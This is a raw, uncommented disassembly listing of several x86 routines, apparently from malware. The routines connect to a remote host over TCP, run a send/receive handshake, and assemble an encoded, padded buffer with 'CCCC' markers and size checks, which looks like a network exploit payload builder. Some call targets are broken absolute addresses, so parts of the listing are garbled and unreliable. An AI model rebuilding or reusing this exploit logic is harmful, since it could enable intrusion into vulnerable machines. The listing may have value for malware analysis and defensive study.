		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_417330
		mov	esi, offset loc_427D08
		push	esi
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_417390
		mov	eax, dword_4284E0
		add	esp, 2Ch
		mov	[ebp+var_768], eax

loc_40349C:				; CODE XREF: sub_403249+1FAj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_417330
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4034DB

loc_4034D4:				; CODE XREF: sub_403249+2B9j
					; sub_403249+2E0j ...
		xor	al, al
		jmp	loc_403683
; ---------------------------------------------------------------------------

loc_4034DB:				; CODE XREF: sub_403249+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43F680
		push	ebx
		push	68h
		push	offset dword_42811C
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4034D4
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43F680
		push	ebx
		push	0A0h
		push	offset dword_428188
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4034D4
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43F680
		cmp	[ebp+arg_C0], ebx
		jz	loc_4035F1
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_428340
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_417390
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_4283AC
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_417390
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_428420
		push	eax
		call	sub_417390
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	loc_4034D4
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43F680
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_403647
; ---------------------------------------------------------------------------

loc_4035F1:				; CODE XREF: sub_403249+2F8j
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_42822C
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_417390
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_4282AC
		push	eax
		call	sub_417390
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h

loc_403647:				; CODE XREF: sub_403249+3A6j
		push	eax
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	loc_4034D4
		push	12Ch
		nop
		call	near ptr 25D0CB3h
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4030E8
		add	esp, 0BCh
		test	al, al
		setnz	al

loc_403683:				; CODE XREF: sub_403249+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403249	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		push	0BB80h
		push	76Ch
		call	sub_415450
		xor	edi, edi
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_417330
		add	esp, 14h
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-14h], 2
		push	eax
		call	dword_43F6A8
		push	dword ptr [ebp+0A8h]
		mov	[ebp-10h], eax
		call	dword_43F668
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	dword_43F6E8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403790
		lea	eax, [ebp-14h]
		push	10h
		push	eax
		push	ebx
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jz	loc_403790
		push	edi
		push	89h
		push	offset dword_427EA0
		push	ebx
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403790
		mov	esi, 640h
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	dword_43F680
		push	edi
		push	0A8h
		push	offset dword_427F2C
		push	ebx
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403790
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	dword_43F680
		push	edi
		push	0DEh
		push	offset dword_427FD8
		push	ebx
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403790
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	dword_43F680
		movsx	eax, byte ptr [ebp-610h]
		sub	eax, 30h
		jz	short loc_40379A
		dec	eax
		jz	short loc_403797

loc_403790:				; CODE XREF: ___:004036EBj
					; ___:00403701j ...
		xor	eax, eax
		jmp	loc_403817
; ---------------------------------------------------------------------------

loc_403797:				; CODE XREF: ___:0040378Ej
		push	edi
		jmp	short loc_4037BE
; ---------------------------------------------------------------------------

loc_40379A:				; CODE XREF: ___:0040378Bj
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403249
		add	esp, 0C4h
		test	al, al
		jnz	short loc_4037DE
		push	1

loc_4037BE:				; CODE XREF: ___:00403798j
		push	ebx
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403249
		add	esp, 0C4h
		test	al, al
		jz	short loc_4037E5

loc_4037DE:				; CODE XREF: ___:004037BAj
		mov	dword ptr [ebp-4], 1

loc_4037E5:				; CODE XREF: ___:004037DCj
		push	ebx
		call	dword_43F700
		cmp	dword ptr [ebp-4], 0
		jz	short loc_403814
		lea	eax, [ebp-854h]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+0B0h]
		pop	ecx
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]

loc_403814:				; CODE XREF: ___:004037F0j
		push	1
		pop	eax

loc_403817:				; CODE XREF: ___:00403792j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40381C	proc near		; CODE XREF: sub_403A90+Ep
					; sub_403A90+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40381C	endp


; =============== S U B	R O U T	I N E =======================================



sub_403826	proc near		; CODE XREF: sub_403A90+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_403858
		push	ebx
		push	0
		push	edi
		call	sub_417330
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_417390
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi

loc_403858:				; CODE XREF: sub_403826+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_403826	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403860	proc near		; CODE XREF: sub_40395A+18p
					; sub_4039D4+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_4038AC
		push	edi
		push	0
		push	esi
		call	sub_417330
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_417390
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_417390
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi

loc_4038AC:				; CODE XREF: sub_403860+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_403860	endp


; =============== S U B	R O U T	I N E =======================================



sub_4038B5	proc near		; CODE XREF: sub_40395A+5Ep
					; sub_40395A+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4038C5
		push	eax
		call	sub_417C3B
		pop	ecx

loc_4038C5:				; CODE XREF: sub_4038B5+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_4038B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4038CE	proc near		; CODE XREF: sub_40395A+20p
					; sub_403A35+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_4038FB
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_4038FF

loc_4038FB:				; CODE XREF: sub_4038CE+Dj
		xor	al, al
		jmp	short loc_403956
; ---------------------------------------------------------------------------

loc_4038FF:				; CODE XREF: sub_4038CE+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_417330
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_403924
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40393E
; ---------------------------------------------------------------------------

loc_403924:				; CODE XREF: sub_4038CE+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]

loc_40393E:				; CODE XREF: sub_4038CE+54j
		push	eax
		call	sub_417390
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_417C3B
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1

loc_403956:				; CODE XREF: sub_4038CE+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4038CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40395A	proc near		; CODE XREF: sub_403A90+89p
					; sub_403A90+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_43C824
		call	sub_403860
		lea	ecx, [ebp+var_8]
		call	sub_4038CE
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_403994
		xor	al, al
		jmp	short loc_4039D0
; ---------------------------------------------------------------------------

loc_403994:				; CODE XREF: sub_40395A+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_417330
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_417390
		add	esp, 18h
		mov	ecx, esi
		call	sub_4038B5
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_4038B5
		mov	al, 1

loc_4039D0:				; CODE XREF: sub_40395A+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40395A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4039D4	proc near		; CODE XREF: sub_403A08+14p
					; sub_403A25+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_403860
		mov	ecx, esi
		call	sub_4038B5
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_4039D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A08	proc near		; CODE XREF: sub_403A90+F0p
					; sub_403A90+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_417AB0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_4039D4
		pop	esi
		retn	4
sub_403A08	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A25	proc near		; CODE XREF: sub_403A71+Bp
					; sub_403A90+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4039D4
		retn	8
sub_403A25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A35	proc near		; CODE XREF: sub_403A71+16p
					; sub_403A90+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_4038CE
		test	al, al
		jz	short loc_403A6E
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_4289A7+1)
		call	sub_403860
		mov	ecx, esi
		call	sub_4038B5
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1

loc_403A6E:				; CODE XREF: sub_403A35+Fj
		pop	esi
		leave
		retn
sub_403A35	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A71	proc near		; CODE XREF: sub_403A90+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_403A25
		test	al, al
		jz	short loc_403A8C
		mov	ecx, esi
		call	sub_403A35

loc_403A8C:				; CODE XREF: sub_403A71+12j
		pop	esi
		retn	8
sub_403A71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A90	proc near		; CODE XREF: ___:00404315p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40381C
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_403DE4
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_403DE4
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40381C
		lea	ecx, [ebp+var_20]
		call	sub_40381C
		lea	ecx, [ebp+var_50]
		call	sub_40381C
		lea	ecx, [ebp+var_18]
		call	sub_40381C
		lea	ecx, [ebp+var_40]
		call	sub_40381C
		lea	ecx, [ebp+var_38]
		call	sub_40381C
		lea	ecx, [ebp+var_28]
		call	sub_40381C
		push	4
		push	offset dword_428648
		lea	ecx, [ebp+var_30]
		call	sub_4039D4
		push	3
		push	offset dword_428650
		lea	ecx, [ebp+var_30]
		call	sub_4039D4
		lea	ecx, [ebp+var_30]
		call	sub_40395A
		lea	ecx, [ebp+var_30]
		call	sub_403A35
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset byte_42863C
		call	sub_4039D4
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_4039D4
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4039D4
		lea	ecx, [ebp+var_20]
		call	sub_40395A
		push	offset loc_4289D0
		lea	ecx, [ebp+var_50]
		call	sub_403A08
		lea	ecx, [ebp+var_50]
		call	sub_40395A
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_403826
		lea	ecx, [ebp+var_58]
		call	sub_40395A
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_403A71
		lea	ecx, [ebp+var_58]
		call	sub_4038B5
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_403A08
		push	4
		push	offset dword_428654
		lea	ecx, [ebp+var_18]
		call	sub_4039D4
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_4039D4
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_4039D4
		lea	ecx, [ebp+var_18]
		call	sub_40395A
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_403A25
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_403A25
		lea	ecx, [ebp+var_40]
		call	sub_403A35
		lea	ecx, [ebp+var_18]
		call	sub_4038B5
		lea	ecx, [ebp+var_50]
		call	sub_4038B5
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_403A25
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_403A25
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_403A25
		lea	ecx, [ebp+var_38]
		call	sub_403A35
		lea	ecx, [ebp+var_20]
		call	sub_4038B5
		lea	ecx, [ebp+var_30]
		call	sub_4038B5
		lea	ecx, [ebp+var_40]
		call	sub_4038B5
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_4039D4
		lea	ecx, [ebp+var_28]
		call	sub_40395A
		push	2
		push	offset dword_4289C4
		lea	ecx, [ebp+var_28]
		call	sub_4039D4
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_403A25
		lea	ecx, [ebp+var_28]
		call	sub_403A35
		lea	ecx, [ebp+var_38]
		call	sub_4038B5
		lea	ecx, [ebp+var_10]
		call	sub_40381C
		lea	ecx, [ebp+var_8]
		call	sub_40381C
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_403A25
		lea	ecx, [ebp+var_10]
		call	sub_4038CE
		lea	ecx, [ebp+var_28]
		call	sub_4038B5
		push	offset dword_4289C0
		lea	ecx, [ebp+var_8]
		call	sub_403A08
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_403A25
		lea	ecx, [ebp+var_8]
		call	sub_4038CE
		lea	ecx, [ebp+var_10]
		call	sub_4038B5
		push	offset dword_4289BC
		lea	ecx, [ebp+var_10]
		call	sub_403A08
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_403A25
		lea	ecx, [ebp+var_10]
		call	sub_4038CE
		lea	ecx, [ebp+var_8]
		call	sub_4038B5
		push	offset dword_4289B0
		lea	ecx, [ebp+var_8]
		call	sub_403A08
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_403A25
		lea	ecx, [ebp+var_8]
		call	sub_4038CE
		lea	ecx, [ebp+var_10]
		call	sub_4038B5
		push	offset dword_4289AC
		lea	ecx, [ebp+var_48]
		call	sub_403A08
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_403A25
		lea	ecx, [ebp+var_8]
		call	sub_4038B5
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_403DF2
; ---------------------------------------------------------------------------

loc_403DE4:				; CODE XREF: sub_403A90+1Bj
					; sub_403A90+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx

loc_403DF2:				; CODE XREF: sub_403A90+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_403A90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DF6	proc near		; CODE XREF: sub_403EBA+A1p
					; sub_403EBA+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_403E5D
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_422A46
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_403E61

loc_403E5D:				; CODE XREF: sub_403DF6+54j
		xor	eax, eax
		jmp	short loc_403E71
; ---------------------------------------------------------------------------

loc_403E61:				; CODE XREF: sub_403DF6+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_43F680

loc_403E71:				; CODE XREF: sub_403DF6+69j
		pop	edi
		pop	esi
		leave
		retn
sub_403DF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403E75	proc near		; CODE XREF: sub_403EBA+81p
					; sub_403EBA+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_43F664
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		cmp	eax, 4
		jz	short loc_403E9F
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_403E9F:				; CODE XREF: sub_403E75+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_43F6B8
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_403E75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403EBA	proc near		; CODE XREF: sub_403F94+48p
					; ___:00404406p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_403EE3
		xor	al, al
		jmp	loc_403F8F
; ---------------------------------------------------------------------------

loc_403EE3:				; CODE XREF: sub_403EBA+20j
		push	ebx
		push	0
		push	esi
		call	sub_417330
		push	2Fh
		push	offset dword_4286E4
		push	esi
		call	sub_417390
		push	8
		lea	eax, [esi+31h]
		push	offset dword_428714
		push	eax
		mov	[esi+2Fh], di
		call	sub_417390
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_417390
		push	6
		add	ebx, edi
		push	offset dword_43C81C
		push	ebx
		call	sub_417390
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_42865C
		push	ebx
		call	sub_403E75
		add	esp, 48h
		test	al, al
		jnz	short loc_403F4B

loc_403F47:				; CODE XREF: sub_403EBA+B5j
		xor	bl, bl
		jmp	short loc_403F86
; ---------------------------------------------------------------------------

loc_403F4B:				; CODE XREF: sub_403EBA+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_403DF6
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_403E75
		add	esp, 1Ch
		test	al, al
		jz	short loc_403F47
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_403DF6
		add	esp, 10h
		mov	bl, 1

loc_403F86:				; CODE XREF: sub_403EBA+8Fj
		push	esi
		call	sub_417C3B
		pop	ecx
		mov	al, bl

loc_403F8F:				; CODE XREF: sub_403EBA+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403EBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403F94	proc near		; CODE XREF: ___:004043ECp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_428720
		push	[ebp+arg_0]
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 48h
		jnz	short loc_403FCF
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_403DF6
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403FCF
		cmp	[ebp+var_20], 82h
		jz	short loc_403FD3

loc_403FCF:				; CODE XREF: sub_403F94+1Bj
					; sub_403F94+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_403FD3:				; CODE XREF: sub_403F94+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_403EBA
		add	esp, 0Ch
		leave
		retn
sub_403F94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FE6	proc near		; CODE XREF: sub_404032+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_424278
		call	sub_417DC4
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_424270
		fstp	[esp+10h+var_10]
		call	sub_417CA4
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_417DC4
		inc	eax
		leave
		retn
sub_403FE6	endp


; =============== S U B	R O U T	I N E =======================================



